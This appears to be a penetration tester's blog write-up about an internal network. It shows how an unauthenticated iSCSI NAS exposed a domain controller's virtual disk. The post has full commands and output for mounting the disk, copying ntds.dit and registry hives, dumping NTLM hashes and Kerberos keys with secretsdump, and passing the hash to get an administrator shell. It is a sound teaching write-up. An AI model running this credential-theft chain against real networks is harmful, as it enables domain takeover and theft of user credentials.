This is a severe pen-test!! After gaining access to the internal Windows network, there is no way to go further.  No way to get an AD account, even an unprivileged one,  and you are just banging your head against the wall  😦

But did you an in-depth information gathering? Review your findings… maybe you can find something useful?

So, what is this device (10.1.2.60) with a webserver listening on port 8080?

Never underestimate low hanging fruits!

Well, this a Network Attached Storage (NAS). We are on the company’s internal network, probably this device is attached via iScsi protocol to the servers or VM hypervisor. Usually in big companies storage is attached via fiber optic SAN but  let’s give it a try!

First of all we have to install the iScsi utilities. If you are working on a Kali box (or just debian/ubuntu flavours) just type

sudo apt install open-iscsi

On CentOS/RH

yum install iscsi-initiator-utils

Ok, we have all the necessary, let’s discover the Isci Qualified Name:

#iscsiadm -m discovery -t sendtargets -p 10.1.2.60
10.1.2.60:3260,1 iqn.2004-04.com.qnap:ts-ec879u-rp:iscsi.storage1qnapyyy.xxx

Great! we ha a valid IQN. Let’s try to attach it, hoping that there are no authentication mechanisms in place:

#iscsiadm -m node --targetname=iqn.2004-04.com.qnap:ts-ec879u-rp:iscsi.storage1qnapyyy.xxx -p 10.1.2.60 --login

Logging in to [iface: default, target: iqn.2004-04.com.qnap:ts-ec879u-rp:iscsi.storage1qnapyyy.xxx, portal: 10.1.2.60,3260] (multiple)
Login to [iface: default, target: iqn.2004-04.com.qnap:ts-ec879u-rp:iscsi.storage1qnapxxx.yy, portal: 10.1.2.60,3260] successful.

Again, great! no auth in place, we have connected to device via iScsi.
Let’s see the disks:

#fdisk -l
...
Disk /dev/sdb: 5.3 TiB, 5809186537472 bytes, 11346067456 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 1048576 bytes / 1048576 bytes
Disklabel type: gpt
Disk identifier: 9D52BE64-4E4D-4462-B876-691CCA996529

Device Start End Sectors Size Type
/dev/sdb1 2048 11346067422 11346065375 5.3T unknown

Wow! a 5.3 Tera bytes storage, maybe it contains useful info? Filesystem is unknown, but let’s try to mount it:

# mount /dev/sdb1 /mnt/tmp
mount: unknown filesystem type 'VMFS_volume_member'

Filesystem is not recognized, VMFS i Vmware Virtual Filesystem, no problem. We will use the vmfs-tools!

# vmfs-fuse -o ro /dev/sdb1 /mnt/tmp
# ls /mnt/tmp
TESTCLONE-intranet.dummycompany.local
#cd /mnt/tmp/TESTCLONE-intranet.dummycompany.local
#ls -al
...
-rw------- 1 root root 11211833344 Feb 10 16:44 2012dc.vmdk

Cool! This should be the test environment of the company’s Active directory. Moreover,  we found the virtual disk of the Domain Controller!

So what’s next? Let’s try to mount this disk  (only possible if VM is powered off, finger crossed) and see if we can grab the info we need (domain account, password,….), maybe it contains same usernames and password of the production server?

Vmdk are “raw” files which ca be mounted directly via /dev/loop, but we will use the vmware tools wich is much more easier. Just do an “apt-get install openvm”.

First, let’s find the partitions:

#vmware-mount -p 2012dc.vmdk 
Nr Start Size Type Id Sytem 
-- ---------- ---------- ---- -- ------------------------
 1 2048 716800 BIOS 7 HPFS/NTFS
 2 718848 51707904 BIOS 7 HPFS/NTFS

Ok, first partition should bee boot, let’s mount the second:

#vmware-mount 2012dc.vmdk 2 /mnt/tmp
#ls -al /mnt/tmp
total 393669
drwxrwxrwx 1 root root 4096 Jan 27 05:27 .
drwxr-xr-x 6 root root 4096 Feb 11 16:25 ..
-rwxrwxrwx 1 root root 398356 Mar 18 2014 bootmgr
-rwxrwxrwx 1 root root 1 Jun 18 2013 BOOTNXT
lrwxrwxrwx 2 root root 60 Aug 22 2013 Documents and Settings -> /mnt/tmp/Users
-rwxrwxrwx 1 root root 402653184 Jan 27 05:25 pagefile.sys
drwxrwxrwx 1 root root 0 Aug 22 2013 PerfLogs
drwxrwxrwx 1 root root 4096 Jan 14 07:35 ProgramData
drwxrwxrwx 1 root root 4096 Aug 22 2013 Program Files
drwxrwxrwx 1 root root 4096 Jan 14 07:35 Program Files (x86)
drwxrwxrwx 1 root root 0 Jan 27 10:37 $Recycle.Bin
drwxrwxrwx 1 root root 4096 Jan 3 16:47 System Volume Information
drwxrwxrwx 1 root root 4096 Jan 27 12:57 temp
drwxrwxrwx 1 root root 4096 Jan 27 11:43 test
drwxrwxrwx 1 root root 4096 Jan 27 10:37 Users
drwxrwxrwx 1 root root 24576 Jan 14 07:35 Windows

We did it! we have access to the disk without problems, now let’s try o get the usernames and password…

This is a domain controller, the user database is stored in:

• c:\windows\NTDS\ntds.dit

Other account and security  registry hives are stored in:

• c:\windows\system32\config\SYSTEM
• c:\windows\system32\config\SAM
• c:\windows\system32\config\SECURITY

Let’s copy all these files on our local HD for offline processing:

#cp /mnt/tmp/Windows/System32/config/SAM /pentest/dummycompany/SAM
#cp /mnt/tmp/Windows/System32/config/SYSTEM /pentest/dummycompany/SYSTEM
#cp /mnt/tmp/Windows/System32/config/SECURITY /pentest/dummycompany/SECURITY
#cp /mnt/tmp/Windows/NTDS/ntds.dit /pentest/dummycompany/ntds.dit

Now comes the interesting part, we are going to play with this fantastic tools from Impacket: secretsdump.py in order to get the usernames and hashes from the .dit file.

# secretsdump.py -system SYSTEM -ntds ntds.dit local
Impacket v0.9.16-dev - Copyright 2002-2016 Core Security Technologies

[*] Target system bootKey: 0x0401288ed3ec7f81a709f4a92a2240a5
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: cb00005955d811bc9591cf4953d94110
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:446687c38d831f41abee74033ea76b05:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SERVER2012DC$:1001:aad3b435b51404eeaad3b435b51404ee:ab75a58967179c6527f495c17944cf02:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3003567af268a4a94e26f410e84353f1:::
SRV2012$:1104:aad3b435b51404eeaad3b435b51404ee:389e6d266ff4e1a0ded1fd988607195f:::
andrew:1105:aad3b435b51404eeaad3b435b51404ee:b9f917853e3dbf6e6831ecce60725930:::
pippo:1106:aad3b435b51404eeaad3b435b51404ee:0ebd3febdb972b9d9a164b72f321e341:::
pippo2:1107:aad3b435b51404eeaad3b435b51404ee:0ebd3febdb972b9d9a164b72f321e341:::
[*] Kerberos keys from ntds.dit 
Administrator:aes256-cts-hmac-sha1-96:9408d21d58098c7dac9b448ed56de29cd51b5aaadbb58a34a173b77f0d31a44b
Administrator:aes128-cts-hmac-sha1-96:6b3b54e09b7528d305996c69e815b653
Administrator:des-cbc-md5:c42a83576ead9102
SERVER2012DC$:aes256-cts-hmac-sha1-96:0f7f3352c826592d366e50b68d5124a405f2f9b5b113782de983f8da40a97126
SERVER2012DC$:aes128-cts-hmac-sha1-96:5100835c814be48468bd8ec16d52b746
SERVER2012DC$:des-cbc-md5:803243344a8c4645
krbtgt:aes256-cts-hmac-sha1-96:9bf24ba27d9ddf67e077cbab435e06e8006109bc572793868ea3864b465fd155
krbtgt:aes128-cts-hmac-sha1-96:46be43e81ca521d647f332bd4e1b7897
krbtgt:des-cbc-md5:d5ade3405ea183ce
SRV2012$:aes256-cts-hmac-sha1-96:14024b7b66054d0f3824bac01b6b57545ed7c076832dc903e2d9ea19da659c63
SRV2012$:aes128-cts-hmac-sha1-96:a3c50e68e95f40d2b90cfa1825a5ad11
SRV2012$:des-cbc-md5:d937a7572f940776
andrew:aes256-cts-hmac-sha1-96:60ab860dc671959208769864e486604830afb7dfa562c19e331a882221d6abb3
andrew:aes128-cts-hmac-sha1-96:d28892ee6e194567f861d524cc390ce1
andrew:des-cbc-md5:6e434f3ed66832e0
pippo:aes256-cts-hmac-sha1-96:c77d9efcb249c2df4244b2db69a051e8ec4b84506399100f4704c5cb3eb97b45
pippo:aes128-cts-hmac-sha1-96:a436894db57a967d9ac1040c31ab5068
pippo:des-cbc-md5:3e2f914089b3613e
pippo2:aes256-cts-hmac-sha1-96:b0ffd1653a19d037bf911290c1bbfd94dfd5534be6ce5c9e54d70c95a8b47e54
pippo2:aes128-cts-hmac-sha1-96:24c96989adcbbb5d36d5741d37620451
pippo2:des-cbc-md5:6ee338585db5a2da
[*] Cleaning up... 

Secretdsump did a fantastic work, got the PEK key, decrypted it and revealed us the contents of ntds.dit file! If you want to learn more about this file, take a look here: https://adsecurity.org/?p=2398 

Now, last step is to try to logon on a server with domain admin credentials, you already know that the hash is all you need, right: PASS THE HASH!

On our Linux box:

#pth-winexe -U dummycompany/administrator%aad3b435b51404eeaad3b435b51404ee:446687c38d831f41abee74033ea76b05 //10.1.2.40 cmd
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
dummycompany\administrator

C:\Windows\system32>

Bingo! password was valid an got access on Domain controller with admin credentials!

But what if password was changed meantime?

No problem.. we have the krbtgt hashes.. So why not try the “golden” solution? I will talk about that next time!

That’s all 🙂